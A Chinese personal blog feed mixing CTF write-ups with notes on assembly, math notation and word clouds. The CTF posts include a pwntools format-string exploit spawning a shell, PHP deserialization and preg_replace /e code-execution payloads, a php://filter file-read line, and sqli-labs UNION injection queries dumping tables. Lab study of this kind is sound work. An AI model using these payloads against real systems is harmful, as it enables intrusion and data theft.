奇妙伞

[第五空间2019 决赛]PWN5 1解题思路

Tue, 03 Mar 2026 10:27:50 +0800

首先查看入口函数

int __cdecl main(int a1)
{
  unsigned int v1; // eax
  int result; // eax
  int fd; // [esp+0h] [ebp-84h]
  char nptr[16]; // [esp+4h] [ebp-80h] BYREF
  char buf[100]; // [esp+14h] [ebp-70h] BYREF
  unsigned int v6; // [esp+78h] [ebp-Ch]
  int *v7; // [esp+7Ch] [ebp-8h]

  v7 = &a1;
  v6 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  v1 = time(0);
  srand(v1);
  fd = open("/dev/urandom", 0);
  read(fd, &dword_804C044, 4u);
  printf("your name:");
  read(0, buf, 0x63u);
  printf("Hello,");
  printf(buf);
  printf("your passwd:");
  read(0, nptr, 0xFu);
  if ( atoi(nptr) == dword_804C044 )
  {
    puts("ok!!");
    system("/bin/sh");
  }
  else
  {
    puts("fail");
  }
  result = 0;
  if ( __readgsdword(0x14u) != v6 )
    sub_80493D0();
  return result;
}

可以从下面作为突破口

  read(0, buf, 0x63u);
  printf("Hello,");

通过read输入格式化数据如：%n %d 等通过print进行输入

试验证明

#include <stdio.h>

int main() {
    char a[100]="AAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p";
    printf(a);
    return 0;
}

通过上述代码打印print的参数，可以得出AAAA在堆栈的哪一个位置

运行结果

\Desktop\[第五空间2019 决赛]PWN5 1解题思路>a.exe
AAAA70252E70252E7025.0000000000AC43F0.0000000000000013.252E702541414141.2E70252E70252E70.70252E70252E7025.252E70252E70252E.2E70252E70252E70.70252E70252E7025.252E70252E70252E.0070252E70252E70.0000000000000000.0000000000000000.0000000000000000.0000000000000000.0000000000000000.0000000000000010.0000000000AC1370.00000000004013C7.0000000000000000

可以看到AAAA的编码414141在第四个位置

当我们知道偏移量 k 后，就可以用 %k$n 来直接操作第 k 个参数。例如 %10$n 表示：
取出第 10 个参数的值，把它当作一个内存地址；
将当前已经输出的字符数写入这个地址。

所以这道题的解题思路是

使用nc进行链接，发送

AAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p

确认字符位置，然后使用p32(target_addr) + b'%10$n'

发送将发送位置的数字替换为4

target_addr的地址是

.bss:0804C041                 align 4
.bss:0804C044 ; _DWORD dword_804C044
.bss:0804C044 dword_804C044   dd ?                    ; DATA XREF: main+77↑o
.bss:0804C044                                         ; main+108↑o
.bss:0804C044 _bss            ends
.bss:0804C044
extern:0804C048 ; ===========================================================================
extern:0804C048
extern:0804C048 ; Segment type: Externs
extern:0804C048 ; extern
extern:0804C048 ; ssize_t read(int fd, void *buf, size_t nbytes)
extern:0804C048                 extrn read:near         ; CODE XREF: _read↑j
extern:0804C048                                         ; DATA XREF: .got.plt:off_804C00C↑o
extern:0804C04C ; int printf(const char *format, ...)

0804C044

所以最终的攻击代码是

from pwn import *

 
r=remote('node5.buuoj.cn',26244)
backdoor_addr=0x0804C044
payload=p32(backdoor_addr)+ b'%10$n'

r.sendline(payload)

r.sendline("4")
r.interactive()

x86-64 汇编学习笔记

Mon, 26 Jan 2026 11:44:15 +0800

一、Win64 汇编基础（hello, world 示例）

1. 核心代码解析

$SG2989 DB 'hello, world', 00H  ; 定义字符串（C风格以0结尾）
main PROC
    sub     rsp, 40             ; 分配40字节：32字节影子空间 + 8字节对齐
    lea     rcx, OFFSET$SG2989 ; 传递字符串地址到rcx（Win64第1参数寄存器）
    call    printf              ; 调用printf输出字符串
    xor     eax, eax            ; 设置main返回值为0
    add     rsp, 40             ; 释放栈空间
    ret     0
main ENDP

2. 关键概念

影子空间（Shadow Space）：Win64 调用约定要求调用者提前分配 32 字节，用于被调用函数备份寄存器参数，保证参数安全。
栈对齐：x86-64 要求 call 执行后栈指针 rsp 保持 16 字节对齐，因此需要额外分配 8 字节，总分配 40 字节。
寄存器用途：rcx 传递第 1 个参数，rax 传递返回值，xor eax, eax 是高效清零写法。

二、Win64 栈变化完整流程

操作	栈指针变化	说明
进入 `main`	`rsp = 0x10000000`（16 字节对齐）	系统启动代码保证初始对齐
`sub rsp, 40`	`rsp = 0xFFFFFFD8`	分配影子空间 + 对齐空间
`call printf`	压入返回地址，`rsp = 0xFFFFFFD0`	保持 16 字节对齐
`printf` 执行 `ret`	弹出返回地址，`rsp = 0xFFFFFFD8`	回到调用前栈位置
`add rsp, 40`	`rsp = 0x10000000`	恢复初始栈状态

三、32 位 Windows 汇编示例（MessageBeep）

main:
    push 0xFFFFFFFF  ; 传递错误提示音参数
    call MessageBeep ; 播放错误提示音
    xor eax, eax     ; 返回值0
    retn

功能：调用 Windows API 播放错误提示音，然后正常退出。

四、Linux x86-64 AT&T 汇编示例（sleep）

main:
pushq %rbp ; 保存旧栈帧基址
movq %rsp, %rbp ; 建立新栈帧
movl$2, %edi ; 传递参数2到edi（Linux第1参数寄存器）
call sleep ; 休眠2秒
popq %rbp ; 恢复旧栈帧
ret

功能：让程序休眠 2 秒后退出。

五、常用寄存器速查表

64 位寄存器	32 位低半部分	主要用途
`rax`	`eax`	返回值、临时存储
`rcx`	`ecx`	Win64 第 1 参数、循环计数器
`rdi`	`edi`	Linux 第 1 参数、目的变址
`rsp`	`esp`	栈指针
`rbp`	`ebp`	栈基址指针

附录

通用寄存器（64 位 / 32 位 / 16 位 / 8 位）

64 位寄存器	32 位低半部分	16 位低半部分	8 位低半部分	主要用途
`rax`	`eax`	`ax`	`al`	函数返回值；临时存储
`rbx`	`ebx`	`bx`	`bl`	基址寄存器；全局变量指针
`rcx`	`ecx`	`cx`	`cl`	Win64 第 1 个函数参数；循环计数器
`rdx`	`edx`	`dx`	`dl`	Win64 第 2 个函数参数；乘除法结果
`rsi`	`esi`	`si`	`sil`	源变址寄存器；字符串 / 数组源指针
`rdi`	`edi`	`di`	`dil`	目的变址寄存器；字符串 / 数组目标指针
`rbp`	`ebp`	`bp`	`bpl`	栈基址指针；保存栈帧起始地址
`rsp`	`esp`	`sp`	`spl`	栈指针；指向栈顶
`r8`	`r8d`	`r8w`	`r8b`	Win64 第 3 个函数参数
`r9`	`r9d`	`r9w`	`r9b`	Win64 第 4 个函数参数
`r10`	`r10d`	`r10w`	`r10b`	临时存储；函数调用前的参数传递
`r11`	`r11d`	`r11w`	`r11b`	临时存储；系统调用 scratch 寄存器
`r12-r15`	`r12d-r15d`	`r12w-r15w`	`r12b-r15b`	被调用者保存寄存器；需要手动保存恢复

专用寄存器

寄存器	用途
`rip`	指令指针；指向当前要执行的指令地址
`rflags`	标志寄存器；存储运算结果状态（如零标志、进位标志）
`xmm0-xmm15`	128 位浮点 / 向量寄存器；传递浮点参数和返回值

调用约定相关要点（Win64）

参数传递：前 4 个整数 / 指针参数用 rcx, rdx, r8, r9；前 4 个浮点参数用 xmm0-xmm3；剩余参数压栈。
返回值：整数 / 指针返回值存在 rax；浮点返回值存在 xmm0。
被调用者保存寄存器：rbx, rbp, r12-r15 —— 如果函数修改了这些寄存器，必须在退出前恢复。
调用者责任：必须为被调用函数分配 32 字节的影子空间；调用变参函数时，需要将 rax 清零。

[网鼎杯 2020 青龙组]AreUSerialz

Fri, 23 Jan 2026 17:51:51 +0800

[网鼎杯 2020 青龙组]AreUSerialz

php反序列化漏洞，本体考点是

php“===”与”==“的区别
PHP7.1以上版本对属性类型不敏感，public属性序列化不会出现不可见字符，可以用public属性来绕过.
private属性序列化的时候会引入两个\x00，注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到，甚至导致截断，但是url编码后就可以看得很清楚了。同理，protected属性会引入\x00*\x00。此时，为了更加方便进行反序列化Payload的传输与显示，我们可以在序列化内容中用大写S表示字符串，此时这个字符串就支持将后面的字符串用16进制表示。

使用protected或private然后使用/00替换非法字符

首先分析代码

<?php


include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";//这里改成$this->op == 2
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")//这里如果op="2"就会触发，但是php是弱类型语言 "2"==2 返回的是真，但是 "2"===2返回的是假
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

这里如果op="2"就会触发，但是php是弱类型语言 "2"==2 返回的是真，但是 "2"===2返回的是假

序列化字符可以使用
$obj == new FileHandler(); 
echo serialize($obg);
进行输出

O:11:"FileHandler":3:{s:5:"\00*\00op";i:2;s:11:"\00*\00filename";s:8:"flag.php";s:10:"\00*\00content";s:3:"xxx";}

5.6.40,preg_replace()+/e存在代码执行漏洞

Tue, 03 Jun 2025 17:24:13 +0800

preg_replace() 函数

该函数执行一个正则表达式的搜索和替换。

语法

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

AI写代码

bash

搜索 subject 中匹配 pattern 的部分，以 replacement 进行替换。

参数说明：

$pattern: 要搜索的模式，可以是字符串或一个字符串数组。

$replacement: 用于替换的字符串或字符串数组。

$subject: 要搜索替换的目标字符串或字符串数组。

$limit: 可选，对于每个模式用于每个 subject 字符串的最大可替换次数。默认是-1（无限制）。

$count: 可选，为替换执行的次数。

返回值

如果 subject 是一个数组， preg_replace() 返回一个数组，其他情况下返回一个字符串。

如果匹配被查找到，替换后的 subject 被返回，其他情况下返回没有改变的 subject。如果发生错误，返回 NULL。

preg_replace() 函数还有一个/e模式。可以导致代码执行。

function complex($re, $str) {

return preg_replace(

'/(' . $re . ')/ei',

'strtolower("\\1")',

$str

);

}

AI写代码

bash

上边的代码就是使用了preg_replace使用了/e模式，导致可以代码执行。而且该函数的第一个和第三个参数我们是可以控制的。preg_replace 函数在匹配到符号正则的字符串时，会将替换字符串（第二个参数）当做代码来执行，但是这里的第二个参数却固定为 ‘strtolower(“\1”)’ 字符串。上面的命令执行，相当于 eval(‘strtolower(“\1”);’) 结果，当中的 \1 实际上就是 \1 ，而 \1 在正则表达式中有自己的含义。

反向引用

对一个正则表达式模式或部分模式两边添加圆括号将导致相关匹配存储到一个临时缓冲区中，所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始，最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问，其中 n 为一个标识特定缓冲区的一位或两位十进制数。

所以这里的 \1 实际上指定的是第一个子匹配项

我们拿 ripstech 官方给的 payload 进行分析，方便大家理解。官方 payload 为： /?.*={${phpinfo()}} ，即 GET 方式传入的参数名为 /?.* ，值为 {${phpinfo()}} 。

原先的语句： preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);

变成了语句： preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});

AI写代码

bash

但是如果我们用get的方式传参?.*={${phpinfo()}}，就会发现无法执行phpinfo()函数，这是由于在PHP中，对于传入的非法的 $_GET 数组参数名，会将其转换成下划线，这就导致我们正则匹配失效。所以我们要做的就是换一个正则表达式，让其匹配到{${phpinfo()}}即可执行 phpinfo 函数。这里我们可以使用这个 payload ： \S*=${phpinfo()} 执行，便可以得到phpinfo的页面。（\S 匹配任何非空白字符。等价于 [^ \f\n\r\t\v]。）

————————————————

原文链接：https://blog.csdn.net/weixin_43749601/article/details/113417093

[极客大挑战 2019]PHP 1 解题思路

Wed, 16 Apr 2025 16:39:59 +0800

[极客大挑战 2019]PHP

1

1 基础知识

什么是php序列化

例子

<?php $username = array("tan","ji"); $username = serialize($username); echo ($username. "\n"); print_r(unserialize($username)); var_dump(unserialize($username));

输出的内容为

a:2:{i:0;s:3:"tan";i:1;s:2:"ji";} ----- echo ($username. "\n"); Array -------------------------------- print_r(unserialize($username)); ( [0] => tan [1] => ji ) array(2) { ---------------------------- var_dump(unserialize($username)); [0]=> string(3) "tan" [1]=> string(2) "ji" }

在 PHP 的序列化中，魔术方法（Magic Methods）是一组特殊的方法，这些方法以双下划线（__）作为前缀，可以在特定的序列化阶段触发从而使开发者能够进一步的控制序列化 / 反序列化的过程。

你可以在 PHP 官方文档中查找到对应魔术方法的定义和使用方法：PHP: 魔术方法 - Manual

一般在题目中常见的几个方法如下：

__wakeup() //------ 执行unserialize()时，先会调用这个函数 __sleep() //------- 执行serialize()时，先会调用这个函数 __destruct() //---- 对象被销毁时触发 __call() //-------- 在对象上下文中调用不可访问的方法时触发 __callStatic() //-- 在静态上下文中调用不可访问的方法时触发 __get() //--------- 用于从不可访问的属性读取数据或者不存在这个键都会调用此法 __set() //--------- 用于将数据写入不可访问的属性 __isset() //------- 在不可访问的属性上调用isset()或empty()触发 __unset() //------- 在不可访问的属性上使用unset()时触发 __toString() //---- 把类当作字符串使用时触发 __invoke() //------ 当尝试将对象调用为函数时触发

php 流协议转换成base64

Thu, 05 Sep 2024 17:15:57 +0800

?file=php://filter/convert.base64-encode/resource=flag.php

sqli-labs靶场全部通关第一天

Wed, 21 Aug 2024 21:48:30 +0800

注入判断：

?id =1

显示:

Welcome Dhakkan
Your Login name:Dumb
Your Password:Dumb

添加封闭后判断

?id=1 ' and 1=1 -- q

正常显示

?id=1 ' and 1=2 -- q

显示异常，说明存在注入

查看字段数量

?id=1 ' order by 1 -- q

?id=1 ' order by 2 -- q

....

?id=1 ' order by n -- q

ORDER BY 1 表示所select 的字段按第一个字段排序
ORDER BY ASC应该没有这样写法,ORDER BY 后面不是字段就是数字,
可以ORDER BY 1 ASC 或者ORDER BY COL1 ASC

ASC表示按升序排序,DESC表示按降序排序

Welcome Dhakkan
Unknown column '4' in 'order clause'

利用联合查询查看字段数以

?id=1221'union select 11,22,33 -- q

Welcome Dhakkan
Your Login name:22
Your Password:33

之后查看数据库

?id=1221'union select 11,database(),33 -- q

Welcome Dhakkan
Your Login name:security
Your Password:33

?得到数据库名字叫security

之后查看表格 1

?id=113 ' union select 1,table_name,3 from information_schema.tables where table_schema = 'security' -- q

?id=113' union select 1,table_name ,3 from information_schema.tables where table_scheme = '数据库名' -- q limit 0,1 获取

group_concat也可以

?id=113 ' union select 1,column_name,3 from information_schema.columns where table_schema = 'security' and table_name ='emails' -- q

Welcome Dhakkan
Your Login name:id,email_id
Your Password:3

?id=3 ' union 11,id,22 from emails -- q 获取具体数据

准大一计算机学生如何学习

Sun, 10 Mar 2024 18:29:27 +0800

————————基础篇—————————

离散数学

数字电路

组成原理

汇编语言（稍微看看）

C语言程序设计

数据结构

编译原理

操作系统

计算机网络

Linux

————————进阶篇————————

c++

java

python

————————web篇————————

前端三大件 HTML CSS JS

前端框架 JQ VUE

后端主力框架 spring boot（java） thinkphp（php） django（python）gin（go）

数据库 mysql sqlserver redis 等

————————安全篇————————

kali linux

数据库安全

数字取证

网络渗透

ctf 比赛试题

————————嵌入式篇————————

单片机

树莓派

keli

adundio

stm32

模拟电路

汇编语言

信号系统

微机接口

————————桌面开发篇————————

vb6

深度学习论文中的函数符号表示

Mon, 04 Mar 2024 22:19:36 +0800

深度学习专属函数符号：

sigmoid函数的符号表示方法1：

sigmoid函数的符号表示方法2:

常用的数学计算符号：

笛卡尔积
笛卡尔乘积是指在数学中，两个集合X和Y的笛卡尔积（Cartesian product），又称直积，表示为X×Y，第一个对象是X的成员而第二个对象是Y的所有可能有序对的其中一个成员。
假设集合A={a, b}，集合B={0, 1, 2}，则两个集合的笛卡尔积为{(a, 0), (a, 1), (a, 2), (b, 0), (b, 1), (b, 2)}。
类似的例子有，如果A表示某学校学生的集合，B表示该学校所有课程的集合，则A与B的笛卡尔积表示所有可能的选课情况
向量、张量运算
向量点乘
向量的点乘，也叫数量积。结果是一个向量在另一个向量方向上投影的长度，是一个标量。
对于向量和，，或者：
向量叉乘
向量的叉乘，也叫向量积。结果是一个和已有两个向量都垂直的向量。以三维向量为例
其中:
张量的点乘
张量（矩阵）的点乘，又叫哈达马积（Hadamard product），矩阵对应位置的元素相乘矩阵与矩阵的Hadamard积记作。其元素定义为两个矩阵对应元素的乘积，例如
张量的克罗内克乘积
克罗内克积是两个任意大小的矩阵间的运算，也叫直积或张量积。计算过程如下例所示:
拼接
张量（矩阵）的拼接可以按照不同的维度拼接
按照第一维度拼接：
按照第二维度拼接：

词云构建

Sat, 02 Mar 2024 20:27:32 +0800

效果展示

词云图想必大家都见过，是一种形式新颖的查看文本中出现最多词汇的图。

我使用Python的第三方库stylecloud来分别生成了 2 张词云图，读者可以猜一猜以下词云图的出处来自于哪里。

词云图 1

词云图 2

2. 实现过程

2.1 导入库

import pandas as pdimport stylecloudimport jieba
from collections import Counter

2.2 导入文本

with open('./三体.txt',encoding='utf-8') as f:
    txt = f.read()txt = txt.split()

2.3 去除停用词

def stopwordslist():
    stopwords = [line.strip() for line in open('./常见中文停用词表.txt', 'r', encoding='gbk').readlines()]
    stopwords.append(' ') # 自定义添加停用词    return stopwords

def movestopwords(sentence):
    stopwords = stopwordslist()  # 加载停用词的路径
    santi_words =[x for x in sentence if len(x) >1 and x not in stopwords]
    return ' '.join(santi_words)data_cut = jieba.lcut(str(txt))word_list = movestopwords(data_cut)# print(word_list.split(' '))

2.4 统计词频

mycount = {}for word in word_list.split(' '):
    mycount[word] = mycount.get(word,0)+1counts_df = pd.DataFrame(mycount.items(), columns=['label', 'counts'])counts_df.sort_values(by='counts',inplace=True, ascending = False)counts_df.to_csv('./词频统计.csv',encoding='utf-8')print('输出词频统计 成功！！')print(counts_df.iloc[:10]) # 输出词频前 10 的词汇

2.5 生成词云图

stylecloud.gen_stylecloud(
                            text=word_list,
                            palette='tableau.BlueRed_6',
                            icon_name='fas fa-apple-alt',
                            font_path='./田英章楷书3500字.ttf',
                            output_name='《三体》词云图.png',
                            # custom_stopwords=stopwords                            )

3. API详解

3.1 stylecloud.gen_stylecloud() 参数详解

gen_stylecloud(text=None,  # 输入文本（不含词频数）
               file_path=None,   # 输入文本/CSV 的文件路径 (可以含词频数)
               size=512,  # stylecloud 的大小（长度和宽度）
               icon_name='fas fa-flag',  # stylecloud 形状的图标名称（如 fas fa-grin）。[default: fas fa-flag]
               palette='cartocolors.qualitative.Bold_5',  # 调色板（通过 palettable 实现）。[default: cartocolors.qualitative.Bold_6]
               colors=None, # 自定义十六进制的字体颜色
               background_color="white",  # 背景颜色
               max_font_size=200,  # stylecloud 中的最大字号
               max_words=2000,  # stylecloud 可包含的最大单词数
               stopwords=True,  # 布尔值，用于筛除常见禁用词
               custom_stopwords=STOPWORDS, # 去除停用词
               icon_dir='.temp',
               output_name='stylecloud.png',   # stylecloud 的输出文本名
               gradient=None,  # 梯度方向
               font_path=os.path.join(STATIC_PATH,'Staatliches-Regular.ttf'), # stylecloud 所用字体
               random_state=None,  # 控制单词和颜色的随机状态
               collocations=True,
               invert_mask=False,
               pro_icon_path=None,
               pro_css_path=None)

3.2 palette （调色板）

❝参考网站：「https://jiffyclub.github.io/palettable/」❞

3.3 icon_name （图标名称）

❝参考网站：「https://fa5.dashgame.com/#/%E5%9B%BE%E6%A0%87」❞

4. 遗留的小问题

中文博大精深，jieba对中文切词的准确性问题，可通过自定义添加词汇解决。
重复无意义的词汇反复、连续出现，可通过机械压缩词汇的方法解决。

5. 资料下载

我已将以上配套数据文件和代码文件打包上传至我的 Github 和 Gitee，感兴趣的读者可以下载学习和练手。

「Github 项目地址」

「https://github.com/don2vito/wechat_project/tree/master/词云」

「Gitee 项目地址」

「https://gitee.com/don2vito/wechat_official_account/blob/master/038_词云」